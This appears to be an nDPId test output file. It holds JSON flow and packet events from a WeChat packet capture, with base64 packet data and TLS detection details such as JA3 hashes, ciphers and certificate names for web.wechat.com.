+00502{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":626390,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"eJKcD6iO8IQvSpdgCABFoABr4O8AADcGG8es2RdOwKgBZwG7z+SKJZg8+z2t2oAYAVTREQAAAQEICn7IL7IAL9cCFwMDADL\/QQeiav2tbjoNjgJzOU4UPNZPR4RzRuOQ+h3eXjLhIIWjbE1Sb3YuyocNPQRCTo9EPA=="} +00425{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":626423,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ew5AAEAGOX\/AqAFnrNkXTs\/kAbv7Pa3aiiWYc4AQAT3h6gAAAQEICgAwwWJ+yC+y"} +00424{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":626706,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ew9AAEAGOX7AqAFnrNkXTs\/kAbv7Pa3aiiWYc4ARAT3h6QAAAQEICgAwwWJ+yC+y"} +00424{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":626707,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA04PAAADcGG\/2s2RdOwKgBZwG7z+SKJZhz+z2t2oARAVTMMwAAAQEICn7IL7IAL9cC"} +00424{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":626750,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0exBAAEAGOX3AqAFnrNkXTs\/kAbv7Pa3biiWYdIAQAT3h6AAAAQEICgAwwWJ+yC+y"} +00423{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":663573,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0fUYAADcGnkXYOs1OwKgBZwG7ugsgLP4N+HJvsIAQAV0jgAAAAQEICvap7+cAMMFh"} +00423{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167360,"pkt_ts_usec":666322,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA04RQAADcGG9ms2RdOwKgBZwG7z+SKJZh0+z2t24AQAVThqwAAAQEICn7IL9gAMMFi"} +00425{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167366,"pkt_ts_usec":907680,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0a4RAAEAGqcDAqAFny82XotNKAbuhD9MTKIMroIARASiQuQAAAQEICgAwx4RF8RRp"} +00426{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167366,"pkt_ts_usec":908222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0P41AAEAG1bfAqAFny82XotNLAbtsCoSLs\/GQOIARARX2ygAAAQEICgAwx4VFrUIz"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":183,"source":"wechat.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1492167366908,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54092,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167366,"pkt_ts_usec":908400,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8lZ5AAEAGf57AqAFny82XotNMAbt+X1IbAAAAAKACchBDOAAAAgQFtAQCCAoAMMeFAAAAAAEDAwc="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":184,"source":"wechat.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1492167367159,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54093,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":159051,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8UGVAAEAGxNfAqAFny82XotNNAbtphJemAAAAAKACchASSQAAAgQFtAQCCAoAMMfDAAAAAAEDAwc="} +00436{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":227479,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG700zSrc67fl9SHKASN8jkhQAAAgQFoAQCCApF0bHCADDHhQEDAwc="} +00424{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":227571,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0lZ9AAEAGf6XAqAFny82XotNMAbt+X1Ic0q3OvIAQAOVJ0gAAAQEICgAwx9RF0bHC"} +00748{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":228238,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEilaBAAEAGfrbAqAFny82XotNMAbt+X1Ic0q3OvIAYAOWQkQAAAQEICgAwx9VF0bHCFgMBAOkBAADlAwMIMAddqPI8parJRh1yfNKrDdpzlU1BZ7DFnpjp1nvcByAw4BRL3PXeGMjW+qUk6QYvRqoU0TSzHBocUA21W5zrfgAgCgrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8CgoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIOjoAHQAXABhaWgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":187,"source":"wechat.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1492167366908,"flow_last_seen":1492167367228,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54092,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00425{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":264059,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0whpAAC0GZYrLzZeiwKgBZwG700uz8ZA4bAqEjIARAHjtOgAAAQEICkWtTF8AMMeF"} +00426{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":264118,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0P45AAEAG1bbAqAFny82XotNLAbtsCoSMs\/GQOYAQARXsRQAAAQEICgAwx91FrUxf"} +00436{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":489344,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG7002nXL3IaYSXp6ASN8hVJQAAAgQFoAQCCApFrUycADDHwwEDAwc="} +00424{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":489409,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0UGZAAEAGxN7AqAFny82XotNNAbtphJenp1y9yYAQAOW6bQAAAQEICgAwyBZFrUyc"} +00426{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":549012,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0fK9AACwGq\/XLzZeiwKgBZwG700zSrc68fl9TCoAQAHhI\/wAAAQEICkXRshMAMMfV"} +02345{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":549744,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIfLBAACwGpmDLzZeiwKgBZwG700zSrc68fl9TCoAQAHjqewAAAQEICkXRshMAMMfVFgMDAF0CAABZAwODHFehjzW0hk5sWu5Ge8mFKciWQxbsw86zd9rLy\/qzTiB+R4AGaiYYG\/eTLeHwwqwepnXhm94m+8GpHgG9docrHMAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":196,"source":"wechat.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":6,"flow_first_seen":1492167366908,"flow_last_seen":1492167367549,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54092,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":549800,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0laFAAEAGf6PAqAFny82XotNMAbt+X1MK0q3UUIAQAPtCmAAAAQEICgAwyCVF0bIT"} +02346{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":550195,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIfLFAACwGpl\/LzZeiwKgBZwG700zSrdRQfl9TCoAQAHicWQAAAQEICkXRshMAMMfVi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQP9onIxoqLlfKiUkbNgc+7yiRr7efVCxTibCqk9XQPMVvI9Aoe7O3LDaU6dLhOg8DRChtxEwJtY+NElt6TxP6+BgEBAL68Lae5"} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":198,"source":"wechat.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":8,"flow_first_seen":1492167366908,"flow_last_seen":1492167367550,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54092,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":550229,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0laJAAEAGf6LAqAFny82XotNMAbt+X1MK0q3Z5IAQARE87gAAAQEICgAwyCVF0bIT"} +00781{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":551584,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4fLJAACwGqu7LzZeiwKgBZwG700zSrdnkfl9TCoAYAHiNUgAAAQEICkXRshMAMMfV\/wUPj3J3gO0mKBbdMGG\/+oXHBAxnimdIiFbV5u3a8dOOCJ1fcmGnWeedg7V43T21vlini6SKaOHKuodqV+w9ljmEmp0jLlHMp+UH+4V8hIbgmPMk90l+vzhTNLfNph5Xv\/QVOsM2OTjI1rxhiQsLx1zzPlyStw5nZt7Ztpqi170qLzM3nZy2FH1ADBNtxpHLBUm59b+kWdwy2OjeYEQGB3Of58swX+iQSmZo2yxFIaV6Ib\/bWBqr59jlr2DeGQ8ZpdLz6ZfTi3O8GzeLU0IgCgTPvD1UwjI8NUD\/xpAsvNZWIYmahxWM4i7xxZVVCvD5mTDGY3Fj81uJL24WAwMABA4AAAA="} +00425{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":551616,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0laNAAEAGf6HAqAFny82XotNMAbt+X1MK0q3a6IAQASg70wAAAQEICgAwyCVF0bIT"} +00598{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":554171,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACylaRAAEAGfyLAqAFny82XotNMAbt+X1MK0q3a6IAYASgkIgAAAQEICgAwyCZF0bITFgMDAEYQAABCQQTveG3rIh3CStSj2Ej8oZKjD6fPv4Zm5j73uoUBJkEyDJR7JI\/xTp+IXOX0cQ517HOU0AOEM8PYVZX16C+XbL0SFAMDAAEBFgMDACgAAAAAAAAAAI3j+oZoCVoti\/yJohzvO7U6mfithyrObgOOY0osFUwd"} +00496{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":873085,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnfLNAACwGq77LzZeiwKgBZwG700zSrdrofl9TiIAYAHiR6wAAAQEICkXRsmQAMMgmFAMDAAEBFgMDACigH1Pqvpx6glAchlJIiCYaZgsWq\/SuI4OIVAnKw7sHl6dm9A7srZiY"} +02016{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":874002,"pkt_caplen":1234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1234,"pkt_l4_len":1200,"pkt":"8IQvSpdgeJKcD6iOCABFAATElaVAAEAGew\/AqAFny82XotNMAbt+X1OI0q3bG4AYAShqWgAAAQEICgAwyHZF0bJkFwMDBIsAAAAAAAAAAceFKJNYR\/rmQi\/agcnoM\/bkApVvRn7hyCNTSCOR76AcLe++ymlk3LtdDN5nDc8flw9xQZXgzfVWmbF9opjLcMeRjcrk47qKyqI7gRYGNsEM\/7q0AfjB9Z9Afr+sMLWmYJx1JAVUQ7aWPI40RLXOe9jH70m4Gi8RoKU31pzGyFqbhUQPbD0tyB9CrYjtav0\/JbV5GpsSHSn6UN6NtWdMxxBFbnvz8L4